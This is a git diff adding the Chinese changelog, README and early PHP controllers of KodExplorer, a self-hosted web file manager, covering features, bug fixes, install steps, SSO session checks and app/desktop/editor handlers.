+#### fix bug:(bug解决和程序优化)
+ - 任意执行:远程下载apache 扩漏洞:判断扩展名中是否含有.php.
+ - 不存在的用户
+ - 桌面:开始按钮被tab盖住了
+ - 主题切换,错位问题
+ - 透明对话框拖动时 标题栏不显示问题
+
+### ver2.71 `2014/8/31`
+-----
+#### update:
+ - 编辑器配置保存:文字大小、主题风格;主题修改
+ - 精简初始桌面应用
+
+#### fix bug:(bug解决和程序优化)
+ - 修改用户密码失败:
+ - 打开设置设置壁纸,关掉,再打开个人中心,桌面乱掉
+ - 桌面开始菜单 最大化问题
+ - 语言选择下拉菜单错位
+ - 修改主题重叠问题
+ - appstore 添加应用tips不见
+
+
+### ver2.7 `2014/8/25`
+-----
+#### update:
+ - 安全及性能优化
+ - 静态文件加入?版本标识,版本更新后不缓存
+ - webuploader 升级到0.14 优化部分上传问题
+ - 错误级别:error_reporting(E_ERROR | E_WARNING);
+ - 地址栏(tab模式、编辑模式)两种模式宽度自适应
+ - 自建office解析服务器配置
+ - 最大化全屏
+
+#### fix bug:(bug解决和程序优化)
+ - install 加入iconv、mbstring检测
+ - 右键重命名 快捷键冒泡处理
+ - 文件列表图片缩略图拖拽问题
+ - 标题超出部分截取优化
+ - 编辑器预览滚动条自适应
+
+
+
+### ver2.61 `2014/7/12`
+-----
+#### update:
+ - 实时搜索,根据搜索框内容变化,实时选中匹配到的结果;
+ - 弹出搜索框遍历子文件夹递归搜索
+ - session key 加入kod_前缀 避免和其他系统key冲突
+ - 编辑器选中优化 选择鼠标到窗口外事件处理
+
+#### fix bug:(bug解决和程序优化)
+ - backspace后退截获浏览器事件,作为后退前一次访问的文件夹;
+ - 搜索首字母不匹配问题
+ - 弹出层中的弹出层关闭,父窗口失去焦点问题。
+ - 代码中grunt部分代码拆分开,放到程序外面;提交到git、osc
+ - 桌面:删除alert enter快捷键删除
+ - install 检测 加入跳过,(只判断用到的函数) 加入多语言
+ - zip压缩没有权限 提示红色,false 统一查找
+ - 登录成功后 验证码输错清除
+ - 非root用户拖拽到文件夹问题
+ - 非root解压问题 不能解压
+ - list oexe 图标问题
+ - 用户目录不存在判断
+ - fileCahe 互斥锁 reset 不用
+ - ie 8~10样式问题调整
+
+
+### ver2.6 `2014/7/6`
+-----
+#### update:
+ - 完全性优化;加入严格的校验机制
+ - 首次运行环境检测[data目录检测,必须的函数支持提示]
+ - 上传已存在处理——创建副本(另外包括粘贴,解压)
+ - 选中优化 ctrl选中拖拽
+ - 键盘快捷键选中文件,多个字符支持
+ - 文件文件夹权限修改(右键——属性,即可修改)
+ - 对话框加入ico,对应任务栏
+ - 右键等部分菜单效果优化
+ - 远程下载加入进度条,下载速度等信息
+
+#### fix bug:(bug解决和程序优化)
+ - 下载前判断当前目录可写
+ - 文件扩展名处理,分为用户方式和扩展名权限方式
+ - 上传结束提示:是否成功、失败原因
+ - 上传扩展名限制 解决apache .php.*当做php执行bug
+ - 文件名非法字符限定
+ - 树目录展开箭头状态修复
+ - 树目录新建文件,没有子节点刷新bug解决
+ - 文件大小为0上传不了问题
+ - windows下进入某些系统文件夹死循环bug解决
+ - tips 居中显示
+ - 任务栏标签选中问题:已经显示且为交点窗口 点击——隐藏;否则——显示,并且置为焦点窗口
+ - 拖入url ——oexe 新窗口打开
+ - 选中文件时,移动到屏幕可视区域(解决上下左右选中文件滚动条不一致问题)
+
+
+### ver2.51 `2014/6/22`
+-----
+#### fix bug:(bug解决和程序优化)
+
+ - 登录多次密码输入错误验证码bug解决
+ - 修复漏洞:创建副本加入权限控制。和拖文件拽权限一致
+ - 文件上传失败检测
+ - 树目录同步优化
+
+
+### ver2.5 `2014/6/15`
+-----
+#### update:
+ - 增加创建副本功能 按住ctrl拖拽即可,可以到当前,也可以到文件夹。
+ - 多选拖拽优化:剪切到、移动到某个文件夹
+ - 创建副本功能
+ - 树目录和文件列表一致性保持 更新相互通知
+
+#### fix bug:(bug解决和程序优化)
+ - 桌面重命名bug
+ - 统一对话框部分bug
+ - php notice 提示解决
+ - ajax返回非json 则展示服务错误的返回
+ - 所有入口都加入index.php 解决部分服务器没有设置默认入口问题
+
+### ver2.4 `2014/6/8`
+#### update:
+ - 语言选择
+ - 远程下载文件名优化
+ - 树目录事件优化
+ - 收藏夹点击 undefined
+ - 没权限建立文件夹错误提示 红色
+ - 打开dialog 不显示问题。先显示后打开
+ - ajax error 系统错误 对话框提示内容
+ - 懒加载优化
+
+
+### ver2.3 `2014/6/2`
+-----
+#### update:
+ - 拖动url——创建ext app
+ - 文件管理,树目录变化后(增删改)自动同步到文件列表
+ - 文件管理,文件列表变化后(增删改)自动同步到树目录
+ - 中文用户名限制
+ - 对话框打开关闭动画
+ - 其他多处优化
+
+#### fix bug:(bug解决和程序优化)
+ - 文件名限制bug
+ - 同目录多个程序cookie bug修复
+ - 地址栏 最后显示宽度问题
+ - 服务器路径下 编辑器预览404修复
+ - 树目录显示优化
+ - 登录记住密码优化
+
+### ver2.2 `2014/5/11`
+-----
+#### update:
+ - 公共目录支持(多个用户可以共享目录,写权限跟随用户组权限设定)
+ - 自动升级优化
+ - 文件管理工具栏 增加菜单选项,方便移动设备操作
+ - 文件编辑器,文件树目录 上下左右键盘切换 快捷键加入
+ - 树目录去掉库,改为个人目录等多处文案修改
+ - 默认打开用户目录
+
+#### fix bug:(bug解决和程序优化)
+ - 桌面任务栏点不中bug
+ - 部分文案问题
+ - 众多细节优化
+
+
+### ver2.1 `2014/4/2`
+-----
+#### update:
+ - 文件夹拖拽上传,完美解决(保持原始目录结构)
+ - 解压缩优化;解压中文问题。解压缩整体速度
+ - 树目录增加快捷键支持(上下、左右展开树目录;复制、粘贴、剪切、删除、打开、搜索、新建文件(夹)、)
+ - pdf预览支持
+ - mac快捷键 ctrl 一一对应command
+ - 音乐播放器和视频播放器相互独立
+ - 图片懒加载、图片较多的情况下只加载首屏图片缩略图;
+ - 编辑文件打开出错,自动关闭标签;文件打开20M限制(大于20M则不处理,浏览器会卡死)
+ - 标签关闭提示:检测是否有未保存文件,文件修改实时修改是否修修改的按钮状态
+
+#### fix bug:(bug解决和程序优化)
+ - 文本文件编辑 文件名含有url编码则出错bug
+ - 右键菜单在最下面时,右键位置重叠导致点击菜单问题
+ - 编辑器打开文件时光标问题,处理:移动到行尾;编辑器enter建不显示自动提示
+ - iframe 打开url 优化。解决canvas问题
+ - 文件编辑器,载入loading去掉
+ - 删除错误时,或上传错误时也刷新目录。删除提示颜色错误
+ - 对话框右键 点击右键菜单隐藏修复
+ - 手机端 touch =双击
+ - 文件列表 explorer 右键 不清除选才·
+ - 树目录中文展开问题。
+ - ie 重命名状态textarea不可选则问题
+ - 修复mac 下 ctrl连选出现右键菜单。
+ - ie 树目录右键兼容性
+ -
+
+
+### ver2.01 `2014/3/2`
+-----
+#### fix bug:(bug解决和程序优化)
+ - body右键屏蔽(保留input、textarea)
+ - 重命名&新建时 右键(编辑内容系统菜单)
+ - 对话框 不显示边框(位移处理,opacity:0)
+ - esc 退出程序 屏蔽该功能。
+ - 关闭播放器,还在播放bug
+ - 增加资源管理器任务栏。任务栏加入右键功能。
+ - 对话框增加右键功能
+ - guest [三类用户 root/default/guest] guest登录处加链接。20min
+ - 打包程序[update user_add,admin/demo; 删除webuploader.js thumb less]
+ - 编辑添加应用权限只能是root用户才可以。
+ - 保存文件不可写提示!
+ - 解压缩结果提示。(对话框)
+
+#### upload
+ - dialog display
+ - root登录 目录修改为服务器路径
+ - artdialog 已经打开的窗口 (设了id) 最小化时,再次打开则显示
+ - 最小化窗口后,再次打开 dialog display (setting-display)
+ - 上传进度加入大小
+ - 上传窗口关闭,自动停止所有上传队列
+ - 拖拽后,更新上传地址为当前地址。(之前上传队列也会这样。bug)
+ - root用户非服务器路径下文件预览(图片、mp3、视频、html、swf、……php代理输出文件内容,http方式)
+ - 对话框最小化或关闭,重置最大index为焦点窗口
+ - 图片缩略图生成:小于5k则不生成(直接输出)
+ - 加载文件列表改为异步方式,数据返回采用回调函数方式。增强体验
+ - 选中优化,文件&文件夹重命名、文件&文件夹新建 后自动选中。(f5增加回调。);
+ - 选中保持,选中后如果调整排序等等,保持选中状态。
+ - 上传文件选中当前。
+ - f5改为异步(加入mask loading) 优化文件夹打开体验
+ - 键盘按键选中文件 增加字符搜索定位功能(单个字符,增加到多个字符选中。两次响应直接延迟250ms)
+ - 幻灯片播放[优化成fancybox或者 重写动画部分、打开时关不掉问题]
+ - 编辑器backspace、delete时不提示。
+ - 编辑器,增加选中效果
+ - 增加不自动提示功能,配置项作为全局配置。影响后续建立的文件。选中标记状态。
+ - 更换桌面背景图片【load后替换】
+ - 更换主题【css load 后载入】
+ - 删除。不清除选中。提前准备数据
+ - 构建打包,合并压缩。添加版本、版权
+ - 自动升级(本地记录版本,服务器js调用 参数 url、### version;忽略此版本。cookie。统计用户)
+
+
+### ver2.0 `2014/3/2`
+-----
+#### fix bug:(bug解决和程序优化)
+ - 优化文件打开处理
+ - 文件&文件夹:含有%、+号的处理(显示不出等问题,encoenURIComponent——rawurldecode)
+ - 文件下载,支持大文件下载、断点续传。
+ - 解决更改排序方式后 ——对应右键菜单不同步问题。
+ - 优化右键更改列表状态,同步保存配置到服务端。
+ - 文件浏览器打开(a点击新窗口跳转,a不支持click,用子元素冒泡来实现点击)
+ - 优化配置文件存储方案。直接由前端操作后端key,value
+ - 修复添加收藏夹问题(已打开设置窗口再添加失败问题)
+ - 修复树目录中文文件名bug
+ - 优化pic图片幻灯片播放
+ - 优化新建文件&文件夹 清空选择状态
+ - 对话框组件 ie8 优化;tips不显示任务栏;
+ - 优化地址栏过长编辑状态问题
+ - 优化新建、重命名文件(夹) 高度自适应问题
+ - firefox ctrl+s 系统对话框屏蔽
+ - 树目录:收藏夹优化(右键绑定);右键操作优化,拖拽优化(文件管理&编辑器)
+ - 收藏夹优化(右键 >编辑删除)
+
+#### update:
+**新增功能**
+
+ - 多用户、权限控制:
+ - 可以建立权限组,将功能分配给权限组
+ - 添加用户,选择所属的权限组。
+ - 权限按功能划分成颗粒,可以任意配置,例如普通使用者、游客等
+ - 搜索:支持递归搜索,可选择是否搜索文件内容。
+ - 增加桌面自定义壁纸。
+ - 皮肤优化 ok 多色彩支持。
+ - 应用商店,root用户可以管理应用。安装、修改、删除。普通用户可以安装应用。
+ - 应用添加了图标。对应右键功能。
+ - office文档在线预览。
+
+**上传下载**
+
+ - 采用全新上传控件,跟安全,更好的体验。
+ - 拖拽支持文件夹,多个文件。上传自动过滤不允许的文件类型
+ - 拖拽上传 和上统一优化,修复webuploader的文件判断;火狐拖拽上传,ie9+拖拽上传。
+ - 上传时自动过滤不合格的文件,上传失败错误返回。
+
+**文件编辑**
+
+ - 编辑器支持多光标
+ - 支持几乎所有编程语言的代码高亮
+ - 支持代码自动补全(基于文档、或自定义的代码快照)
+ - 快速预览功能
+ - 优化文件保存完美解决。编码自动识别转换。(字符串转义问题。1'[{'"+~%25\\\\ ////)
+ - 文件编辑,添加收藏夹
+ - 优化音乐播放器,添加音乐后自动播放新添加的第一首;解决之前添加列表后暂停问题。
+ - 优化任务栏,多标签;最小化flash问题(left+10000 visiable)
+ - ctrl,shift 多选时拖拽优化(按住这两个键时,不能拖动;拖动加入延迟200ms)
+ - 编辑器在没打开文件的情况下工具栏不可用问题。
+ - 搜索、替换;vim模式
+ - ……
+
+**登录退出**
+
+ - 登录优化 ok【页面&验证码&记住密码】
+ - 三次错误需要输入验证码,保证系统的安全性
+ - 优化自动登录安全性,客户端保存cookie自动登录信息。【tooken加入本地ip】
+
+**系统优化**
+
+ - 解决较慢操作,阻塞其他操作问题。(同一个用户session会加锁,入口处做释放)
+ - 前后端代码基本全部重构,前端采用模块化方法sea.js|require.js 模块化。
+ - 凡是有模板调用的(display——页面部分php解析。并将配置注入到页面js变量,便于js使用)
+ - 加入模板机制;通用模块采用懒加载模式;使用artTemplate 对模板绑定数据。
+ - kv结构存储
+ - 路由权限控制
+ - 后端统一json输出。
+
+### ver1.21 `2013/11/6`
+-----
+#### fix bug:
+ - 修复文件下载bug
+ - 修复编辑器自动补全问题, ——>
+ - 兼容部分服务器问题。
+
+### ver1.2 `2013/10/16`
+-----
+#### fix bug:
+ - 设置,外部通用调用方式
+ - 打包中文乱码问题。
+ - simple,default主题,navbar 下拉菜单右边位置问题。
+ - 文件管理:有滚动条时,上下超过可视区域框选问题修复,统一和win操作一致。
+ - 文件大小写不敏感设置,扩展名获取bug
+ - 目录读取权限判断,解决“系统错误”相关问题。
+
+#### update:
+ - 地址栏宽度自适应优化,支持浏览器窗口调整
+ - 增加远程下载功能;上传功能优化,
+ - 整体样式风格优化,
+ - 右键菜单优化(可持续粘贴,剪切后粘贴清空剪贴板)。
+ - 新建文件、文件重命名高度自适应优化
+ - 关闭调试状态错误信息
+ - 图片播放幻灯片优化,支持浏览器窗口调整,解决事件绑定bug,添加图片倒影;添加关闭按钮,关闭动画等功能
+ - 优化桌面,弹出层层级问题;任务栏为最上层
+ - 优化多标签,没有标签时不显示标签容器,放至层级覆盖
+ - 地址栏超出宽度,自动隐藏最左边内容
+ - 右键菜单状态同步,排序方式初始化当前值,设置后标记当前值。
+ - 优化编辑器:拖动内容&文件到编辑区,内容处理。
+ - 拖拽上传,信息框自动隐出后关闭
+ - setting,editor,player最小化时,再次调用则显示出弹出层
+ - 优化影音播放器,皮肤及相关配置信息存储于js中,不用之前的服务器请求方式,修改皮肤后可以直接更新到界面上。
+
+
+### ver1.01 `2013/9/10`
+-----
+#### fix bug:
+ - 添加到收藏
+ - simple,default主题,navbar 下拉菜单右边位置问题。
+
+#### update:
+ - 添加到收藏夹,修改收藏夹,更新文件管理收藏夹部分。
+ - 修改主题,同时修改编辑器主题。【编辑区,文件管理,桌面】
+ - 优化setting部分代码,整合为一个整体。
+ - 优化debug,增加less编译,导出功能优化,先编译后复制再操作
+
+
+### ver1.0 `2013.9.1`
+-----
+#### update:
+ - 代码模块化优化,静态文件分离,可以分开部署
+ - 编辑器单独逻辑提取,完整融合到文件管理,树目录融合文件管理,懒加载语法高亮
+ - 多标签实现,弹层对话框多标签支持,桌面任务栏实现;编辑器多标签支持
+ - 弹层功能优化,实现最大最小化,最小化关联多标签任务栏管理
+
+#### fix bug:
+ - linux 下浏览器打开文件和文件夹,中文问题
+ - 重命名&新建&上传 刷新列表使用动画,当前选中失效问题,不使用动画加载方式。
+ - html5拖拽上传优化
+
+
+### ver0.8 `2013.6.15`
+-----
+#### update:
+ - 整体优化,实现全部操作ajax本地化 ,进一步提升体验
+ - 浏览器强刷新,保持之前最后所在路径
+ - 重命名,新建,粘贴操作后添加选中状态
+ - 代码主题列表优化,重新设计,提高可配置性
+ - 优化代码,添加getTplList模版,简化关联配置获取
+ - 增加设置功能,ajax刷新设置。缩略图片增加tips预览(被注释frame/setting.php)
+ - 增加重命名只选择名称部分功能
+ - 增加iframe js api互操作ie支持。四大浏览器内核皆支持。
+ - 文件夹打开,采用ajax实现。包括头部地址栏,父级目录,左边树目录以及收藏夹
+ - 历史记录完美实现,前进后退按钮实时变化状态。
+ - 快捷键backspace实现后退(left header main 分别加入函数,屏蔽默认history(-1)操作) -
+
+#### fix bug:
+ - 完善修改windows以及linux获取文件列表,中文路径属性获取失败问题。
+ - 复制,剪切。剪贴板内容覆盖判空处理
+ - 修复一些地方ajax线程同步问题,重命名后选中失效问题解决
+ - 修复返回上层目录,根目录检测
+ - 修复linux下 音视频播放,中文路径问题
+ - 修复文件右键菜单位置出错问题
+ - 修复ie下frame js相互通信问题
+ - ajax更新文件列表下,各种bug修复。进一步提升操作友好性
+ - 修复当前目录改变的情况下,播放器消失的问题。现在能使播放器始终保留
diff --git a/README.md b/README.md
index 8d95a5e..704f397 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,171 @@
-# KODExplorer
+# KodExplorer
+
+
+----
+
+
+[](http://kodcloud.com) [](http://kodcloud.com) [](https://gitee.com/kalcaddle/KODExplorer/repository/archive/master.zip)
+
+> KodExplorer可道云,原名芒果云,是基于Web技术的私有云和在线文件管理系统。致力于为用户提供安全可控、可靠易用、高扩展性的私有云解决方案。用户只需通过简单环境搭建,即可使用KodExplorer快速完成私有云/私有网盘/在线文档管理系统的部署和搭建。可道云提供了类windows经典用户界面,延续了windows平台的用户界面、操作逻辑和使用习惯,支持100余种文件格式的在线预览,解决了文件在线存储与管理、共享和跨平台访问、在线办公影音娱乐等一系列问题,使得用户的私有云产品可以拥有本地操作一样方便、快捷、安全的体验。
+
+> 全平台支持:Linux,Windows,Mac; 只需要php5以上服务器环境.
+
+-----
+
+> 开源协议: 采用GPL v3协议; 注: 开源版和商业版不是同一个版本。开源版是可道云商业版的一个衍生子版本,提供给个人或开发者使用。团队通过商业版授权、功能增强来盈利确保团队及项目不断发展。进一步会开源更多的功能及组件贡献到开源版中。
+
+
+
+
+
+
+
+
+
+# 特性
+ - 像使用操作系统一样使用体验,右键操作,拖拽,快捷键……
+ - 框中选择,拖拽移动,拖拽上传,在线编辑器,影音播放器,解压缩。全面ajax保证性能和体验!
+ - 各个功能直接无缝连接;以对话框形式存在,多任务管理等功能
+ - 完备的中文支持,各种情况下乱码解决;
+
+## 文件管理
+ - 便捷的文件选择:单选,鼠标框选,shift连选,ctrl随意选择,键盘上下左右、home、end选择;同时支持类似windows的键盘字母快捷定位文件功能
+ - 文件操作:选择文件后,可以进行复制,剪切,删除,属性查看,压缩,重命名,打开预览等操作……
+ - 文件上传:多文件批量上传;html5拖拽上传(拖拽到窗口实现无缝上传)
+ - 右键功能:文件右键,文件夹右键,多选后右键操作,桌面右键,树目录右键操作,右键菜单绑定快捷键 (全选——复制——剪切——粘贴——删除——重命名,设置……)
+ - 文件浏览:列表模式,图标模式;双击进入子文件夹;地址栏操作;打开文件夹记录逆势操作记录(前进后退)
+ - 拖拽操作:选中后拖拽,实现剪切到指定文件夹功能;支持拖拽到文件夹、地址栏路径、回收站、左侧树目录等
+ - 快捷键操作:delete删除,ctrl+A全选,ctrl+C复制,ctrl+X剪切,up/down/left/right/home/end选择文件等等,几乎还原了windows的所有快捷键操作
+ - 强大的视图:综合windows和mac系统文件管理的有点,整合了图标模式、列表模式、分栏模式;极大方便了不同场景下的操作体验
+ - 多用户支持,自定义角色组。
+ - 剪贴板:复制,剪切,粘贴,清除
+ - 收藏夹:将文件、文件夹添加到收藏夹中
+ - 快捷分享:将文件或文件夹共享给其他人。
+ - 搜索:支持文件、文件夹快捷搜索;同时支持文本文件内容全文搜索;搜索结果直接跳转到文件对应行
+ - 上传:支持文件多选上传,文件夹上传、支持拖拽文件、文件夹直接上传(webkit内核);支持断点续传、自动分块上传
+ - 离线下载:支持下载链接直接下载到服务器
+ - 下载:支持多选或文件夹直接下载;下载支持断点续传、多线程下载
+ - 在线解压缩: 全功能在线解压:zip,rar,7z,tar,gzip,tgz;并完美解决了linux到windows压缩包内中文解压乱码的问题
+ - 其他特性:完美解决各种系统中文乱码问题;文件名自然排序;自动计算选中文件个数和大小;图片自动缩略图展示
+
+## 在线预览
+ - 打开方式支持:可以选择对应关联了扩展名的打开方式,可以通过安装插件扩展各种文件打开方式;
+ - 文本文件:文本文件内容查看编辑保存;,
+ - 图片文件:自动生成缩略图,图片幻灯片播放;
+ - 音频播放:在线播放音乐,视频文件;支持mp3,wav,wma,m4a,aac,oga,ogg,webma,wav等常见格式
+ - 视频播放:在线视频文件播放,支持格式:flv,f4v,mp4,mkv,wmv,rmvb,vob,webm,webmv等各种视频格式
+ - 办公文档:支持pdf、word、excle、ppt下各种文件格式的在线预览
+ - 压缩文件:支持zip,rar,7z,tar,gzip,tgz 等压缩文件直接在线预览,而无需先解压;可以打开压缩包内的文件,同时支持打开方式选择
+ - 工程文档:支持AutoCAD各种图纸格式、3d模型在线预览
+ - 其他文档:swf、pdf、epub等文件实现在线预览支持
+
+
+## 编辑器
+ - 超过120种语言的语法高亮显示,部分编程语言自动纠错;支持html、js、php等语言代码格式化
+ - 支持多标签:同时编辑多份文件,拖动标签可以切换顺序;支持最大化模式
+ - 自动完成
+ - 多光标支持:支持多光标同时编辑,鼠标中间拖拽直接多光标选中
+ - 主题切换:选择你喜欢的编程风格
+ - Web开发:支持Emmet插件(html/js/css),进行极速编程
+ - 快速预览:支持html、php等文件结果快速预览
+ - 查找、替换;撤销反撤销,维持历史记录;支持用正则表达式搜索和替换
+ - 自动补全[],{},(),"",'';自动换行,自定义字体,鼠标拖放文本,代码折叠等诸多实用功能
+ - markdown支持:支持语法高亮、快捷工具栏;支持实时预览;支持latex公式、流程图、时序图、甘特图、类图等高级特性
+
+
+# 安装
+
+**1. 通过源码安装**
+```
+git clone https://gitee.com/kalcaddle/KODExplorer.git
+chmod -Rf 777 ./KODExplorer/*
+```
+
+**2. 下载安装**
+```
+wget https://gitee.com/kalcaddle/KODExplorer/repository/archive/master.zip
+unzip master.zip
+chmod -Rf 777 ./*
+```
+
+
+# 使用帮助
+* 忘记密码
+ > 登陆页面: 点击"忘记密码".
+
+* 拖拽上传及文件夹上传
+ > 浏览器适配: Chrome,Firefox and Edge
+
+* 如何使系统更安全?
+ > 确认管理员密码足够复杂,并养成定期修改密码的习惯.
+ > 开启登陆验证码.
+ > 设置http服务器,禁用列目录功能;
+ > php设置: 设置防跨站保护,开启open_basedir.
+
+
+# 一些界面截图
+### 文件管理:
+- 概览
+
+- 文件视图 图标模式,列表模式(支持文件夹展开),分栏模式
+
+- 压缩包 压缩/解压/在线预览 (zip,rar,7z,tar,gzip,tgz)
+
+- 拖拽上传
+
+- 播放器
+
+- office在线预览编辑
+
+
+
+### 编辑器:
+- 概览
+
+- 实时预览
+
+- 文件夹搜索
+
+- Markdown
+
+- 代码风格
+
+
+
+### 其他:
+- 权限组
+
+- 多彩的主题风格
+
+- 自定义主题
+
+- 多语言支持
+
+
+
+# 运行环境
+- 服务器:
+ - Windows,Linux,Mac ...
+ - PHP 5.0+
+ - 数据库: File system driver;sqlite;mysql;...
+- 浏览器适配:
+ - Chrome
+ - Firefox
+ - Opera
+ - IE8+
+> 注: 你甚至可以将kod安装到你的路由器、家用NAS设备
+
+
+# 鸣谢
+kod项目离不开其他的开源项目
+
+* seajs
+* jQuery
+* ace
+* [zTree]
+* webuploader
+* artTemplate
+* artDialog
+* jQuery-contextMenu
+* ...
diff --git a/app/api/sso.class.php b/app/api/sso.class.php
new file mode 100644
index 0000000..ffacf5d
--- /dev/null
+++ b/app/api/sso.class.php
@@ -0,0 +1,109 @@
+';var_dump($_SESSION);echo '';exit;
+ return $_SESSION;
+ }
+
+ /**
+ * 设置session 认证
+ * @param [type] $key [认证key]
+ */
+ static public function sessionSet($key,$value='success'){
+ self::init();
+ @session_start();
+ $_SESSION[$key] = $value;
+ @session_write_close();
+ }
+
+
+ static public function sessionCheck($key,$value='success'){
+ $session = self::init();
+ if( isset($session[$key]) && $session[$key] == $value){
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * 直接调用kod的登陆检测(适用于同服务器同域名;)
+ * @param [type] $kodHost kod的地址;例如 http://test.com/ ;默认为插件目录
+ * @param [type] $appKey 应用标记 例如 loginCheck
+ * @param [type] $appUrl 验证后跳转到的url;默认为当前url
+ * @param [type] $auth 验证方式:例如:'check=userName&value=smartx'
+ * check (userID|userName|roleID|roleName|groupID|groupName) 校验方式,为空则所有登陆用户
+ */
+ static public function sessionAuth($appKey,$auth,$kodHost='',$appUrl=''){
+ if($kodHost==''){
+ $appUrl = this_url();
+ if(strstr($appUrl,'/plugins/')){
+ $kodHost = substr($appUrl,0,strpos($appUrl,'/plugins/'));
+ }else{
+ if(isset($_COOKIE['APP_HOST'])){
+ $kodHost = $_COOKIE['APP_HOST'];
+ }else{
+ $kodHost = $_SERVER['HTTP_REFERER'];
+ if(strstr($kodHost,'/index.php?')){
+ $kodHost = substr($kodHost,0,strpos($kodHost,'/index.php?'));
+ }else if(strstr($kodHost,'/?')){
+ $kodHost = substr($kodHost,0,strpos($kodHost,'/?'));
+ }
+ }
+ }
+ }
+ $authUrl = rtrim($kodHost,'/').'/index.php?user/sso&app='.$appKey.'&'.$auth;
+ if($appUrl == ''){
+ $appUrl = this_url();
+ }
+ if(!self::sessionCheck($appKey)){
+ session_destroy();
+ header('Location: '.$authUrl.'&link='.rawurlencode($appUrl));
+ exit;
+ }
+ }
+}
\ No newline at end of file
diff --git a/app/controller/api.class.php b/app/controller/api.class.php
new file mode 100644
index 0000000..889113b
--- /dev/null
+++ b/app/controller/api.class.php
@@ -0,0 +1,53 @@
+in['path'])){
+ show_tips('参数错误!');
+ }
+ $this->checkAccessToken();
+ $this->setIdentify();
+ $this->display('view.html');
+ }
+ private function setIdentify(){
+ if(! $_SESSION['accessPlugin'] ){
+ session_start();
+ $_SESSION['accessPlugin'] = 'ok';
+ session_write_close();
+ }
+ }
+ public function checkAccessToken(){
+ $model = $this->loadModel('Plugin');
+ $config = $model->getConfig('fileView');
+ if(!$config['apiKey']){
+ return;
+ }
+ $timeTo = isset($this->in['timeTo'])?intval($this->in['timeTo']):'';
+ $token = md5($config['apiKey'].$this->in['path'].$timeTo);
+
+ //show_tips(array($config['apiKey'],$token,$this->in));
+ if($token != $this->in['token']){
+ show_tips('token 错误!');
+ }
+ if($timeTo != '' && $timeTo <= time()){
+ show_tips('token已失效!');
+ }
+ }
+}
+
diff --git a/app/controller/app.class.php b/app/controller/app.class.php
new file mode 100644
index 0000000..ac80925
--- /dev/null
+++ b/app/controller/app.class.php
@@ -0,0 +1,141 @@
+sql=new FileCache(USER_SYSTEM.'apps.php');
+ }
+
+ /**
+ * 用户首页展示
+ */
+ public function index() {
+ $this->display('index.html');
+ }
+
+ public function initApp(){
+ //为空则不初始化桌面
+ if(!$this->config['settingSystem']['desktopFolder']){
+ return;
+ }
+ $list = $this->sql->get();
+ $newUserApp = $this->config['settingSystem']['newUserApp'];
+ $default = explode(',',$newUserApp);
+ $info = array();
+ foreach ($default as $key) {
+ $info[$key] = $list[$key];
+ }
+
+ $desktop = iconv_system(HOME.DESKTOP_FOLDER.'/');
+ if($GLOBALS['isRoot'] == 1){
+ $desktop = iconv_system(MYHOME.DESKTOP_FOLDER.'/');
+ }
+ mk_dir($desktop);
+ if(!path_writeable($desktop)){
+ return;
+ }
+ foreach ($info as $key => $data) {
+ if (!is_array($data)) {
+ continue;
+ }
+ $path = $desktop.iconv_system($key).'.oexe';
+ unset($data['name']);
+ unset($data['desc']);
+ unset($data['group']);
+ file_put_contents($path, json_encode($data));
+ }
+ }
+
+ /**
+ * 用户app 添加、编辑
+ */
+ public function userApp() {
+ $path = _DIR($this->in['path']);
+ if(get_path_ext($path) != 'oexe'){
+ $path .= '.oexe';
+ }
+ if (!checkExt($path)) {
+ show_json(LNG('error'));exit;
+ }
+
+ $data = $this->_init();
+ unset($data['name']);
+ unset($data['path']);
+ unset($data['desc']);
+ unset($data['group']);
+ $res = file_put_contents($path, json_encode($data));
+ show_json(LNG('success'));
+ }
+
+ /**
+ * 获取列表
+ */
+ public function get() {
+ $list = array();
+ if (!isset($this->in['group']) || $this->in['group']=='all') {
+ $list = $this->sql->get();
+ }else{
+ $list = $this->sql->get(array('group',$this->in['group']));
+ }
+ $list = array_reverse($list);
+ show_json($list);
+ }
+
+ /**
+ * 添加
+ */
+ public function add() {
+ $res=$this->sql->set(rawurldecode($this->in['name']),$this->_init());
+ if($res) show_json(LNG('success'));
+ show_json(LNG('error_repeat'),false);
+ }
+
+ /**
+ * 编辑
+ */
+ public function edit() {
+ //查找到一条记录,修改为该数组
+ $this->sql->remove(rawurldecode($this->in['old_name']));
+ if($this->sql->set(rawurldecode($this->in['name']),$this->_init())){
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error_repeat'),false);
+ }
+ /**
+ * 删除
+ */
+ public function del() {
+ if($this->sql->remove(rawurldecode($this->in['name']))){
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error'),false);
+ }
+
+ public function getUrlTitle(){
+ $html = curl_get_contents($this->in['url']);
+ $result = match_text($html,"(.*)<\/title>");
+ if (strlen($result)>50) {
+ $result = mb_substr($result,0,50,'utf-8');
+ }
+ if (!$result || strlen($result) == 0) {
+ $result = $this->in['url'];
+ $result = str_replace(array('http://','&','/'),array('','@','-'), $result);
+ }
+ show_json($result);
+ }
+
+ private function _init(){
+ $data = rawurldecode($this->in['data']);
+ $arr = json_decode($data,true);
+ if(!is_array($arr)){
+ show_json(LNG('error'),false);
+ }
+ return $arr;
+ }
+}
diff --git a/app/controller/desktop.class.php b/app/controller/desktop.class.php
new file mode 100644
index 0000000..e463b5f
--- /dev/null
+++ b/app/controller/desktop.class.php
@@ -0,0 +1,32 @@
+config['user']['wall'];
+ if( !strstr($wall,'/') ){
+ $wall = STATIC_PATH.'images/wall_page/'.$wall.'.jpg';
+ }
+
+ $wall = str_replace('&','&',$wall);
+ $desktop = iconv_system(HOME.DESKTOP_FOLDER.'/');
+ if($GLOBALS['isRoot'] == 1){
+ $desktop = iconv_system(MYHOME.DESKTOP_FOLDER.'/');
+ }
+ mk_dir($desktop);
+
+ $this->assign('wall',$wall);
+ $this->assign('desktopApps',$desktopApps);
+ $this->display('index.html');
+ }
+}
diff --git a/app/controller/editor.class.php b/app/controller/editor.class.php
new file mode 100644
index 0000000..361ffbe
--- /dev/null
+++ b/app/controller/editor.class.php
@@ -0,0 +1,152 @@
+themeSet();
+ $this->display('editor.html');
+ }
+ // 单文件编辑
+ public function edit(){
+ $this->themeSet();
+ $this->display('edit.html');
+ }
+
+ private function themeSet(){
+ $setClass = '';
+ //获取编辑器配置数据
+ $editorConfig = $this->config['editorDefault'];
+ $configFile = USER.'data/editor_config.php';
+ if (!file_exists(iconv_system($configFile))) {//不存在则创建
+ $sql=FileCache::save($configFile,$editorConfig);
+ }else{
